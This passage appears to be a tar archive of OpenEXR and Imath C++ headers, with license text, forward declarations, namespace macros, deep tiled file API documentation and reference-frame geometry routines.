if (tFrontMax < t) { tFrontMax = t; ip.x = clamp (r.pos.x + t * r.dir.x, b.min.x, b.max.x); ip.y = b.min.y; ip.z = clamp (r.pos.z + t * r.dir.z, b.min.z, b.max.z); } } } else if (r.dir.y < 0) { if (r.pos.y < b.min.y) return false; T d = b.min.y - r.pos.y; if (r.dir.y < -1 || d > TMAX * r.dir.y) { T t = d / r.dir.y; if (tBackMin > t) tBackMin = t; } if (r.pos.y >= b.max.y) { T d = b.max.y - r.pos.y; T t = (r.dir.y < -1 || d > TMAX * r.dir.y)? d / r.dir.y: TMAX; if (tFrontMax < t) { tFrontMax = t; ip.x = clamp (r.pos.x + t * r.dir.x, b.min.x, b.max.x); ip.y = b.max.y; ip.z = clamp (r.pos.z + t * r.dir.z, b.min.z, b.max.z); } } } else // r.dir.y == 0 { if (r.pos.y < b.min.y || r.pos.y > b.max.y) return false; } // // Minimum and maximum Z sides. // if (r.dir.z > 0) { if (r.pos.z > b.max.z) return false; T d = b.max.z - r.pos.z; if (r.dir.z > 1 || d < TMAX * r.dir.z) { T t = d / r.dir.z; if (tBackMin > t) tBackMin = t; } if (r.pos.z <= b.min.z) { T d = b.min.z - r.pos.z; T t = (r.dir.z > 1 || d < TMAX * r.dir.z)? d / r.dir.z: TMAX; if (tFrontMax < t) { tFrontMax = t; ip.x = clamp (r.pos.x + t * r.dir.x, b.min.x, b.max.x); ip.y = clamp (r.pos.y + t * r.dir.y, b.min.y, b.max.y); ip.z = b.min.z; } } } else if (r.dir.z < 0) { if (r.pos.z < b.min.z) return false; T d = b.min.z - r.pos.z; if (r.dir.z < -1 || d > TMAX * r.dir.z) { T t = d / r.dir.z; if (tBackMin > t) tBackMin = t; } if (r.pos.z >= b.max.z) { T d = b.max.z - r.pos.z; T t = (r.dir.z < -1 || d > TMAX * r.dir.z)? d / r.dir.z: TMAX; if (tFrontMax < t) { tFrontMax = t; ip.x = clamp (r.pos.x + t * r.dir.x, b.min.x, b.max.x); ip.y = clamp (r.pos.y + t * r.dir.y, b.min.y, b.max.y); ip.z = b.max.z; } } } else // r.dir.z == 0 { if (r.pos.z < b.min.z || r.pos.z > b.max.z) return false; } return tFrontMax <= tBackMin; } template<class T> bool intersects (const Box< Vec3<T> > &box, const Line3<T> &ray) { Vec3<T> ignored; return intersects (box, ray, ignored); } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHBOXALGO_H OpenEXR/ImathInt64.h 0000644 00000004632 15246445047 0010104 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2006-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATH_INT64_H #define INCLUDED_IMATH_INT64_H //---------------------------------------------------------------------------- // // Int64 -- unsigned 64-bit integers // //---------------------------------------------------------------------------- #include "ImathNamespace.h" #include <limits.h> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER #if (defined _WIN32 || defined _WIN64) && _MSC_VER >= 1300 typedef unsigned __int64 Int64; #elif ULONG_MAX == 18446744073709551615LU typedef long unsigned int Int64; #else typedef long long unsigned int Int64; #endif IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATH_INT64_H OpenEXR/ImfForward.h 0000644 00000006747 15246445047 0010266 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // Portions (c) 2012 Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_FORWARD_H #define INCLUDED_IMF_FORWARD_H //////////////////////////////////////////////////////////////////// // // Forward declarations for OpenEXR - correctly declares namespace // //////////////////////////////////////////////////////////////////// #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // classes for basic types; template<class T> class Array; template<class T> class Array2D; struct Channel; class ChannelList; struct Chromaticities; // attributes used in headers are TypedAttributes class Attribute; class Header; // file handling classes class OutputFile; class TiledInputFile; class ScanLineInputFile; class InputFile; class TiledOutputFile; class DeepScanLineInputFile; class DeepScanLineOutputFile; class DeepTiledInputFile; class DeepTiledOutputFile; class AcesInputFile; class AcesOutputFile; class TiledInputPart; class TiledInputFile; class TileOffsets; // multipart file handling class GenericInputFile; class GenericOutputFile; class MultiPartInputFile; class MultiPartOutputFile; class InputPart; class TiledInputPart; class DeepScanLineInputPart; class DeepTiledInputPart; class OutputPart; class ScanLineOutputPart; class TiledOutputPart; class DeepScanLineOutputPart; class DeepTiledOutputPart; // internal use only struct InputPartData; struct OutputStreamMutex; struct OutputPartData; struct InputStreamMutex; // frame buffers class FrameBuffer; class DeepFrameBuffer; struct DeepSlice; // compositing class DeepCompositing; class CompositeDeepScanLine; // preview image class PreviewImage; struct PreviewRgba; // streams class OStream; class IStream; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif // include guard OpenEXR/ImfNamespace.h 0000644 00000010726 15246445047 0010546 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMFNAMESPACE_H #define INCLUDED_IMFNAMESPACE_H // // The purpose of this file is to have all of the Imath symbols defined within // the OPENEXR_IMF_INTERNAL_NAMESPACE namespace rather than the standard Imath // namespace. Those symbols are made available to client code through the // OPENEXR_IMF_NAMESPACE in addition to the OPENEXR_IMF_INTERNAL_NAMESPACE. // // To ensure source code compatibility, the OPENEXR_IMF_NAMESPACE defaults to // Imath and then "using namespace OPENEXR_IMF_INTERNAL_NAMESPACE;" brings all // of the declarations from the OPENEXR_IMF_INTERNAL_NAMESPACE into the // OPENEXR_IMF_NAMESPACE. // This means that client code can continue to use syntax like // Imf::Header, but at link time it will resolve to a // mangled symbol based on the OPENEXR_IMF_INTERNAL_NAMESPACE. // // As an example, if one needed to build against a newer version of Imath and // have it run alongside an older version in the same application, it is now // possible to use an internal namespace to prevent collisions between the // older versions of Imath symbols and the newer ones. To do this, the // following could be defined at build time: // // OPENEXR_IMF_INTERNAL_NAMESPACE = Imf_v2 // // This means that declarations inside Imath headers look like this (after // the preprocessor has done its work): // // namespace Imf_v2 { // ... // class declarations // ... // } // // namespace Imf { // using namespace IMF_NAMESPACE_v2; // } // // // Open Source version of this file pulls in the OpenEXRConfig.h file // for the configure time options. // #include "OpenEXRConfig.h" #ifndef OPENEXR_IMF_NAMESPACE #define OPENEXR_IMF_NAMESPACE Imf #endif #ifndef OPENEXR_IMF_INTERNAL_NAMESPACE #define OPENEXR_IMF_INTERNAL_NAMESPACE OPENEXR_IMF_NAMESPACE #endif // // We need to be sure that we import the internal namespace into the public one. // To do this, we use the small bit of code below which initially defines // OPENEXR_IMF_INTERNAL_NAMESPACE (so it can be referenced) and then defines // OPENEXR_IMF_NAMESPACE and pulls the internal symbols into the public // namespace. // namespace OPENEXR_IMF_INTERNAL_NAMESPACE {} namespace OPENEXR_IMF_NAMESPACE { using namespace OPENEXR_IMF_INTERNAL_NAMESPACE; } // // There are identical pairs of HEADER/SOURCE ENTER/EXIT macros so that // future extension to the namespace mechanism is possible without changing // project source code. // #define OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER namespace OPENEXR_IMF_INTERNAL_NAMESPACE { #define OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT } #define OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_ENTER namespace OPENEXR_IMF_INTERNAL_NAMESPACE { #define OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_EXIT } #endif /* INCLUDED_IMFNAMESPACE_H */ OpenEXR/ImfDeepTiledInputFile.h 0000644 00000040126 15246445047 0012326 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEP_TILED_INPUT_FILE_H #define INCLUDED_IMF_DEEP_TILED_INPUT_FILE_H //----------------------------------------------------------------------------- // // class DeepTiledInputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImathBox.h" #include "ImfTileDescription.h" #include "ImfThreading.h" #include "ImfGenericInputFile.h" #include "ImfDeepFrameBuffer.h" #include "ImfDeepTiledOutputFile.h" #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepTiledInputFile : public GenericInputFile { public: //-------------------------------------------------------------------- // A constructor that opens the file with the specified name, and // reads the file header. The constructor throws an IEX_NAMESPACE::ArgExc // exception if the file is not tiled. // The numThreads parameter specifies how many worker threads this // file will try to keep busy when decompressing individual tiles. // Destroying TiledInputFile objects constructed with this constructor // automatically closes the corresponding files. //-------------------------------------------------------------------- DeepTiledInputFile (const char fileName[], int numThreads = globalThreadCount ()); // ---------------------------------------------------------- // A constructor that attaches the new TiledInputFile object // to a file that has already been opened. // Destroying TiledInputFile objects constructed with this // constructor does not automatically close the corresponding // files. // ---------------------------------------------------------- DeepTiledInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount ()); //----------- // Destructor //----------- virtual ~DeepTiledInputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //----------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledInputFile object. // // The current frame buffer is the destination for the pixel // data read from the file. The current frame buffer must be // set at least once before readTile() is called. // The current frame buffer can be changed after each call // to readTile(). //----------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------------------------------------------------ // Check if the file is complete: // // isComplete() returns true if all pixels in the data window // (in all levels) are present in the input file, or false if // any pixels are missing. (Another program may still be busy // writing the file, or file writing may have been aborted // prematurely.) //------------------------------------------------------------ bool isComplete () const; //-------------------------------------------------- // Utility functions: //-------------------------------------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with // MIPMAP_LEVELS files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // // totalTiles() returns the total number of tiles in the image // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; size_t totalTiles() const; //---------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //---------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //-------------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //-------------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional region of // valid pixel coordinates for a level with level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------ // Read pixel data: // // readTile(dx, dy, lx, ly) reads the tile with tile // coordinates (dx, dy), and level number (lx, ly), // and stores it in the current frame buffer. // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readTile(dx, dy, level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It calls // readTile(dx, dy, level, level). // // The two readTiles(dx1, dx2, dy1, dy2, ...) functions allow // reading multiple tiles at once. If multi-threading is used // the multiple tiles are read concurrently. // // Pixels that are outside the pixel coordinate range for the // tile's level, are never accessed by readTile(). // // Attempting to access a tile that is not present in the file // throws an InputExc exception. // //------------------------------------------------------------ void readTile (int dx, int dy, int l = 0); void readTile (int dx, int dy, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //-------------------------------------------------- // Read a tile of raw pixel data from the file, // without uncompressing it (this function is // used to implement TiledOutputFile::copyPixels()). //-------------------------------------------------- void rawTileData (int &dx, int &dy, int &lx, int &ly, char *pixelData, Int64 &dataSize) const; //------------------------------------------------------------------ // Read pixel sample counts into a slice in the frame buffer. // // readPixelSampleCount(dx, dy, lx, ly) reads the sample counts // for tile (dx, dy) in level (lx, ly). // // readPixelSampleCount(dx, dy, l) calls // readPixelSampleCount(dx, dy, lx = l, ly = l) // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readPixelSampleCounts(dx1, dx2, dy1, dy2, lx, ly) reads all // the sample counts for tiles within range // [(min(dx1, dx2), min(dy1, dy2))...(max(dx1, dx2), max(dy1, dy2)], // and on level (lx, ly) // // readPixelSampleCounts(dx1, dx2, dy1, dy2, l) calls // readPixelSampleCounts(dx1, dx2, dy1, dy2, lx = l, ly = l). //------------------------------------------------------------------ void readPixelSampleCount (int dx, int dy, int l = 0); void readPixelSampleCount (int dx, int dy, int lx, int ly); void readPixelSampleCounts (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readPixelSampleCounts (int dx1, int dx2, int dy1, int dy2, int l = 0); struct Data; private: friend class InputFile; friend class MultiPartInputFile; DeepTiledInputFile (InputPartData* part); DeepTiledInputFile (const DeepTiledInputFile &); // not implemented DeepTiledInputFile & operator = (const DeepTiledInputFile &); // not implemented DeepTiledInputFile (const Header &header, OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is, int version, int numThreads); void initialize (); void multiPartInitialize(InputPartData* part); void compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is); bool isValidTile (int dx, int dy, int lx, int ly) const; size_t bytesPerLineForTile (int dx, int dy, int lx, int ly) const; void getTileOrder(int dx[],int dy[],int lx[],int ly[]) const; Data * _data; // needed for copyPixels friend void DeepTiledOutputFile::copyPixels(DeepTiledInputFile &); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathFrame.h 0000644 00000015146 15246445047 0010234 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHFRAME_H #define INCLUDED_IMATHFRAME_H #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template<class T> class Vec3; template<class T> class Matrix44; // // These methods compute a set of reference frames, defined by their // transformation matrix, along a curve. It is designed so that the // array of points and the array of matrices used to fetch these routines // don't need to be ordered as the curve. // // A typical usage would be : // // m[0] = IMATH_INTERNAL_NAMESPACE::firstFrame( p[0], p[1], p[2] ); // for( int i = 1; i < n - 1; i++ ) // { // m[i] = IMATH_INTERNAL_NAMESPACE::nextFrame( m[i-1], p[i-1], p[i], t[i-1], t[i] ); // } // m[n-1] = IMATH_INTERNAL_NAMESPACE::lastFrame( m[n-2], p[n-2], p[n-1] ); // // See Graphics Gems I for the underlying algorithm. // template<class T> Matrix44<T> firstFrame( const Vec3<T>&, // First point const Vec3<T>&, // Second point const Vec3<T>& ); // Third point template<class T> Matrix44<T> nextFrame( const Matrix44<T>&, // Previous matrix const Vec3<T>&, // Previous point const Vec3<T>&, // Current point Vec3<T>&, // Previous tangent Vec3<T>& ); // Current tangent template<class T> Matrix44<T> lastFrame( const Matrix44<T>&, // Previous matrix const Vec3<T>&, // Previous point const Vec3<T>& ); // Last point // // firstFrame - Compute the first reference frame along a curve. // // This function returns the transformation matrix to the reference frame // defined by the three points 'pi', 'pj' and 'pk'. Note that if the two // vectors <pi,pj> and <pi,pk> are colinears, an arbitrary twist value will // be choosen. // // Throw 'NullVecExc' if 'pi' and 'pj' are equals. // template<class T> Matrix44<T> firstFrame ( const Vec3<T>& pi, // First point const Vec3<T>& pj, // Second point const Vec3<T>& pk ) // Third point { Vec3<T> t = pj - pi; t.normalizeExc(); Vec3<T> n = t.cross( pk - pi ); n.normalize(); if( n.length() == 0.0f ) { int i = fabs( t[0] ) < fabs( t[1] ) ? 0 : 1; if( fabs( t[2] ) < fabs( t[i] )) i = 2; Vec3<T> v( 0.0, 0.0, 0.0 ); v[i] = 1.0; n = t.cross( v ); n.normalize(); } Vec3<T> b = t.cross( n ); Matrix44<T> M; M[0][0] = t[0]; M[0][1] = t[1]; M[0][2] = t[2]; M[0][3] = 0.0, M[1][0] = n[0]; M[1][1] = n[1]; M[1][2] = n[2]; M[1][3] = 0.0, M[2][0] = b[0]; M[2][1] = b[1]; M[2][2] = b[2]; M[2][3] = 0.0, M[3][0] = pi[0]; M[3][1] = pi[1]; M[3][2] = pi[2]; M[3][3] = 1.0; return M; } // // nextFrame - Compute the next reference frame along a curve. // // This function returns the transformation matrix to the next reference // frame defined by the previously computed transformation matrix and the // new point and tangent vector along the curve. // template<class T> Matrix44<T> nextFrame ( const Matrix44<T>& Mi, // Previous matrix const Vec3<T>& pi, // Previous point const Vec3<T>& pj, // Current point Vec3<T>& ti, // Previous tangent vector Vec3<T>& tj ) // Current tangent vector { Vec3<T> a(0.0, 0.0, 0.0); // Rotation axis. T r = 0.0; // Rotation angle. if( ti.length() != 0.0 && tj.length() != 0.0 ) { ti.normalize(); tj.normalize(); T dot = ti.dot( tj ); // // This is *really* necessary : // if( dot > 1.0 ) dot = 1.0; else if( dot < -1.0 ) dot = -1.0; r = acosf( dot ); a = ti.cross( tj ); } if( a.length() != 0.0 && r != 0.0 ) { Matrix44<T> R; R.setAxisAngle( a, r ); Matrix44<T> Tj; Tj.translate( pj ); Matrix44<T> Ti; Ti.translate( -pi ); return Mi * Ti * R * Tj; } else { Matrix44<T> Tr; Tr.translate( pj - pi ); return Mi * Tr; } } // // lastFrame - Compute the last reference frame along a curve. // // This function returns the transformation matrix to the last reference // frame defined by the previously computed transformation matrix and the // last point along the curve. // template<class T> Matrix44<T> lastFrame ( const Matrix44<T>& Mi, // Previous matrix const Vec3<T>& pi, // Previous point const Vec3<T>& pj ) // Last point { Matrix44<T> Tr; Tr.translate( pj - pi ); return Mi * Tr; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHFRAME_H OpenEXR/ImfMultiView.h 0000644 00000014450 15246445047 0010575 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2007, Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Weta Digital nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, 